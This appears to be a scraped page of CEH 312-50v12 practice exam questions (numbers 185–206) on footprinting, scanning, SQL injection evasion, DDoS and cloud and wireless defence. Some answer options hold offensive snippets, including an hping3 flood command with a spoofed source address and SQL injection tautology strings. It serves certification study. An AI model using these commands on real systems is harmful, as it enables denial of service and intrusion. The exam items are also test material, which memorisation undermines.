Your company suspects a potential security breach and has hired you as a Certified Ethical Hacker to investigate. You discover evidence of footprinting through search engines and advanced Google hacking techniques. The attacker utilized Google search operators to extract sensitive information. You further notice queries that indicate the use of the Google Hacking Database (CHDB) with an emphasis on VPN footprinting. Which of the following Google advanced search operators would be the LEAST useful in providing the attacker with sensitive VPN-related information?

A. location: This operator finds information for a specific location

B. inurl: This operator restricts the results to only the pages containing the specified word in the URL

C. link: This operator searches websites or pages that contain links to the specified website or page

D. intitle: This operator restricts results to only the pages containing the specified term in the title

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 185

Topic #: 1

[All 312-50v12 Questions]

In a recent cyber-attack against a large corporation, an unknown adversary compromised the network and began escalating privileges and lateral movement. The security team identified that the adversary used a sophisticated set of techniques, specifically targeting zero-day vulnerabilities. As a Certified Ethical Hacker (CEH) hired to understand this attack and propose preventive measures, which of the following actions will be most crucial for your initial analysis?

A. Identifying the specific tools used by the adversary for privilege escalation.

B. Analyzing the initial exploitation methods, the adversary used.

C. Checking the persistence mechanisms used by the adversary in compromised systems.

D. Investigating the data exfiltration methods used by the adversary.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 186

Topic #: 1

[All 312-50v12 Questions]

Jason, a certified ethical hacker, is hired by a major e-commerce company to evaluate their network's security. As part of his reconnaissance, Jason is trying to gain as much information as possible about the company's public-facing servers without arousing suspicion. His goal is to find potential points of entry and map out the network infrastructure for further examination. Which technique should Jason employ to gather this information without alerting the company's intrusion detection systems (IDS)?

A. Jason should directly connect to each server and attempt to exploit known vulnerabilities.

B. Jason should use passive reconnaissance techniques such as WHOIS lookups, NS lookups, and web research.

C. Jason should use a DNS zone transfer to gather information about the company's servers.

D. Jason should perform a ping sweep to identify all the live hosts in the company's IP range.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 187

Topic #: 1

[All 312-50v12 Questions]

As the lead security engineer for a retail corporation, you are assessing the security of the wireless networks in the company's stores. One of your main concerns is the potential for "Wardriving" attacks, where attackers drive around with a Wi-Fi-enabled device to discover vulnerable wireless networks. Given the nature of the retail stores, you need to ensure that any security measures you implement do not interfere with customer experience, such as their ability to access in-store Wi-Fi. Taking into consideration these factors, which of the following would be the most suitable measure to mitigate the risk of Wardriving attacks?

A. Limit the range of the store's wireless signals

B. Implement MAC address filtering

C. Disable SSID broadcasting

D. Implement WPA3 encryption for the store's Wi-Fi network

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 188

Topic #: 1

[All 312-50v12 Questions]

A penetration tester was assigned to scan a large network range to find live hosts. The network is known for using strict TCP filtering rules on its firewall, which may obstruct common host discovery techniques. The tester needs a method that can bypass these firewall restrictions and accurately identify live systems. What host discovery technique should the tester use?

A. ICMP Timestamp Ping Scan

B. ICMP ECHO Ping Scan

C. TCP SYN Ping Scan

D. UDP Ping Scan

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 189

Topic #: 1

[All 312-50v12 Questions]

As part of a college project, you have set up a web server for hosting your team's application. Given your interest in cybersecurity, you have taken the lead in securing the server. You are aware that hackers often attempt to exploit server misconfigurations. Which of the following actions would best protect your web server from potential misconfiguration-based attacks?

A. Regularly backing up server data

B. Enabling multi-factor authentication for users

C. Implementing a firewall to filter traffic

D. Performing regular server configuration audits

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 190

Topic #: 1

[All 312-50v12 Questions]

You are the chief cybersecurity officer at CloudSecure Inc., and your team is responsible for securing a cloud based application that handles sensitive customer data. To ensure that the data is protected from breaches, you have decided to implement encryption for both data-at-rest and data-in-transit. The development team suggests using SSL/TLS for securing data in transit. However, you want to also implement a mechanism to detect if the data was tampered with during transmission. Which of the following should you propose?

A. Implement IPsec in addition to SSL/TLS.

B. Switch to using SSH for data transmission.

C. Encrypt data using the AES algorithm before transmission.

D. Use the cloud service provider's built-in encryption services.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 191

Topic #: 1

[All 312-50v12 Questions]

Sarah, a system administrator, was alerted of potential malicious activity on the network of her company. She discovered a malicious program spread through the instant messenger application used by her team. The attacker had obtained access to one of her teammate's messenger accounts and started sending files across the contact list. Which best describes the attack scenario and what measure could have prevented it?

A. Insecure Patch Management; updating application software regularly

B. Instant Messenger Applications; verifying the sender's identity before opening any files

C. Rogue/Decoy Applications; ensuring software is labeled as TRUSTED

D. Portable Hardware Media/Removable Devices; disabling Autorun functionality

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 192

Topic #: 1

[All 312-50v12 Questions]

A multinational organization has recently faced a severe information security breach. Investigations reveal that the attacker had a high degree of understanding of the organization's internal processes and systems. This knowledge was utilized to bypass security controls and corrupt valuable resources. Considering this event, the security team is contemplating the type of attack that occurred and the steps they could have taken to prevent it. Choose the most plausible type of attack and a countermeasure that the organization could have employed:

A. Insider attacks and the organization should have implemented robust access control and monitoring.

B. Distribution attack and the organization could have ensured software and hardware integrity checks.

C. Passive attack and the organization should have used encryption techniques.

D. Active attack and the organization could have used network traffic analysis.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 193

Topic #: 1

[All 312-50v12 Questions]

As a security analyst for SkySecure Inc., you are working with a client that uses a multi-cloud strategy, utilizing services from several cloud providers. The client wants to implement a system that will provide unified security management across all their cloud platforms. They need a solution that allows them to consistently enforce security policies, identify and respond to threats, and maintain visibility of all their cloud resources. Which of the following should you recommend as the best solution?

A. Use a Cloud Access Security Broker (CASB).

B. Use a hardware-based firewall to secure all cloud resources.

C. Implement separate security management tools for each cloud platform.

D. Rely on the built-in security features of each cloud platform.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 194

Topic #: 1

[All 312-50v12 Questions]

As a security consultant, you are advising a startup that is developing an IoT device for home security. The device communicates with a mobile app, allowing homeowners to monitor their homes in real time. The CEO is concerned about potential Man-in-the-Middle (MitM) attacks that could allow an attacker to intercept and manipulate the device's communication. Which of the following solutions would best protect against such attacks?

A. Use CAPTCHA on the mobile app's login screen.

B. Implement SSL/TLS encryption for data transmission between the IoT device and the mobile app.

C. Limit the range of the IoT device's wireless signals.

D. Frequently change the IoT device's IP address.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 195

Topic #: 1

[All 312-50v12 Questions]

A Certified Ethical Hacker (CEH) is analyzing a target network. To do this, he decides to utilize an IDLE/IPID header scan using Nmap. The network analysis reveals that the IPID number increases by 2 after following the steps of an IDLE scan. Based on this information, what can the CEH conclude about the target network?

A. The ports on the target network are open

B. The target network has no firewall present

C. The ports on the target network are closed

D. The target network has a stateful firewall present

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 196

Topic #: 1

[All 312-50v12 Questions]

You have been given the responsibility to ensure the security of your school's web server. As a step towards this, you plan to restrict unnecessary services running on the server. In the context of web server security, why is this step considered important?

A. Unnecessary services eat up server memory; save memory resources.

B. Unnecessary services could contain vulnerabilities; minimize the attack surface.

C. Unnecessary services reveal server software; hide software details.

D. Unnecessary services slow down the server; optimize server speed.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 197

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker is hired to evaluate the defenses of an organization's database system which is known to employ a signature-based IDS. The hacker knows that some SQL Injection evasion techniques may allow him to bypass the system's signatures. During the operation, he successfully retrieved a list of usernames from the database without triggering an alarm by employing an advanced evasion technique. Which of the following could he have used?

A. Utilizing the char encoding function to convert hexadecimal and decimal values into characters that pass-through SQL engine parsing

B. Implementing sophisticated matches such as "OR john' = 'john'" in place of classical matches like "OR 1=1"

C. Manipulating white spaces in SQL queries to bypass signature detection

D. Using the URL encoding method to replace characters with their ASCII codes in hexadecimal form

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 198

Topic #: 1

[All 312-50v12 Questions]

As the Chief Information Security Officer (CISO) at a large university, you are responsible for the security of a campus-wide Wi-Fi network that serves thousands of students, faculty, and staff. Recently, there has been a rise in reports of unauthorized network access, and you suspect that some users are sharing their login credentials. You are considering deploying an additional layer of security that could effectively mitigate this issue. What would be the most suitable measure to implement in this context?

A. Implement network segmentation

B. Deploy a VPN for the entire campus

C. Enforce a policy of regularly changing Wi-Fi passwords

D. Implement 802.1X authentication

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 199

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker is scanning a target network. They initiate a TCP connection by sending an SYN packet to a target machine and receiving a SYN/ACK packet in response. But instead of completing the three-way handshake with an ACK packet, they send an RST packet. What kind of scan is the ethical hacker likely performing and what is their goal?

A. They are performing an SYN scan to stealthily identify open ports without fully establishing a connection.

B. They are performing a network scan to identify live hosts and their IP addresses.

C. They are performing a TCP connect scan to identify open ports on the target machine.

D. They are performing a vulnerability scan to identify any weaknesses in the target system.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 200

Topic #: 1

[All 312-50v12 Questions]

In the process of setting up a lab for malware analysis, a cybersecurity analyst is tasked to establish a secure environment using a sheep dip computer. The analyst must prepare the testbed while adhering to best practices. Which of the following steps should the analyst avoid when configuring the environment?

A. Installing malware analysis tools on the guest OS

B. Connecting the system to the production network during the malware analysis

C. Simulating Internet services using tools such as INetSim

D. Installing multiple guest operating systems on the virtual machine(s)

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 201

Topic #: 1

[All 312-50v12 Questions]

A large e-commerce organization is planning to implement a vulnerability assessment solution to enhance its security posture. They require a solution that imitates the outside view of attackers, performs well-organized inference-based testing, scans automatically against continuously updated databases, and supports multiple networks. Given these requirements, which type of vulnerability assessment solution would be most appropriate?

A. Inference-based assessment solution

B. Tree-based assessment approach

C. Product-based solution installed on a private network

D. Service-based solution offered by an auditing firm

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 202

Topic #: 1

[All 312-50v12 Questions]

During a penetration testing assignment, a Certified Ethical Hacker (CEH) used a set of scanning tools to create a profile of the target organization. The CEH wanted to scan for live hosts, open ports, and services on a target network. He used Nmap for network inventory and Hping3 for network security auditing. However, he wanted to spoof IP addresses for anonymity during probing. Which command should the CEH use to perform this task?

A. Hping3 -1 10.0.0.25 -ICMP

B. Hping3 -2 10.0.0.25-p 80

C. Nmap -sS -Pn -n -vw --packet-trace -p- --script discovery -T4

D. Hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 203

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker is hired to conduct a comprehensive network scan of a large organization that strongly suspects potential intrusions into their internal systems. The hacker decides to employ a combination of scanning tools to obtain a detailed understanding of the network. Which sequence of actions would provide the most comprehensive information about the network's status?

A. Use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities.

B. Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities.

C. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3.

D. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 204

Topic #: 1

[All 312-50v12 Questions]

While working as an intern for a small business, you have been tasked with managing the company's web server. The server is being bombarded with requests, and the company's website is intermittently going offline. You suspect that this could be a Distributed Denial of Service (DDoS) attack. As an ethical hacker, which of the following steps would be your first course of action to mitigate the issue?

A. Contact your Internet Service Provider (ISP) for assistance

B. Install a newer version of the server software

C. Implement IP address whitelisting

D. Increase the server's bandwidth

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 205

Topic #: 1

[All 312-50v12 Questions]

As a cybersecurity consultant, you are working with a client who wants to migrate their data to a Software as a Service (SaaS) cloud environment. They are particularly concerned about maintaining the privacy of their sensitive data, even from the cloud service provider. Which of the following strategies would best ensure the privacy of their data in the SaaS environment?

A. Implement a Virtual Private Network (VPN) for accessing the SaaS applications.

B. Rely on the cloud service provider's built-in security features.

C. Encrypt the data client-side before uploading to the SaaS environment and manage encryption keys independently.

D. Use multi-factor authentication for all user accounts accessing the SaaS applications

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 206

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker is performing a network scan to evaluate the security of a company's IT infrastructure. During the scan, he discovers an active host with multiple open ports running various services. The hacker uses TCP communication flags to establish a connection with the host and starts communicating with it. He sends a SYN packet to a port on the host and receives a SYN/ACK packet back. He then sends an ACK packet for the received SYN/ACK packet, which triggers an open connection. Which of the following actions should the ethical hacker perform next?

A. Send a PSH packet to inform the receiving application about the buffered data.

B. Conduct a vulnerability scan on the open port to identify any potential weaknesses.

C. Scan another port on the same host using the SYN, ACK, and RST flags.

D. Send a FIN or RST packet to close the connection.

Show Suggested Answer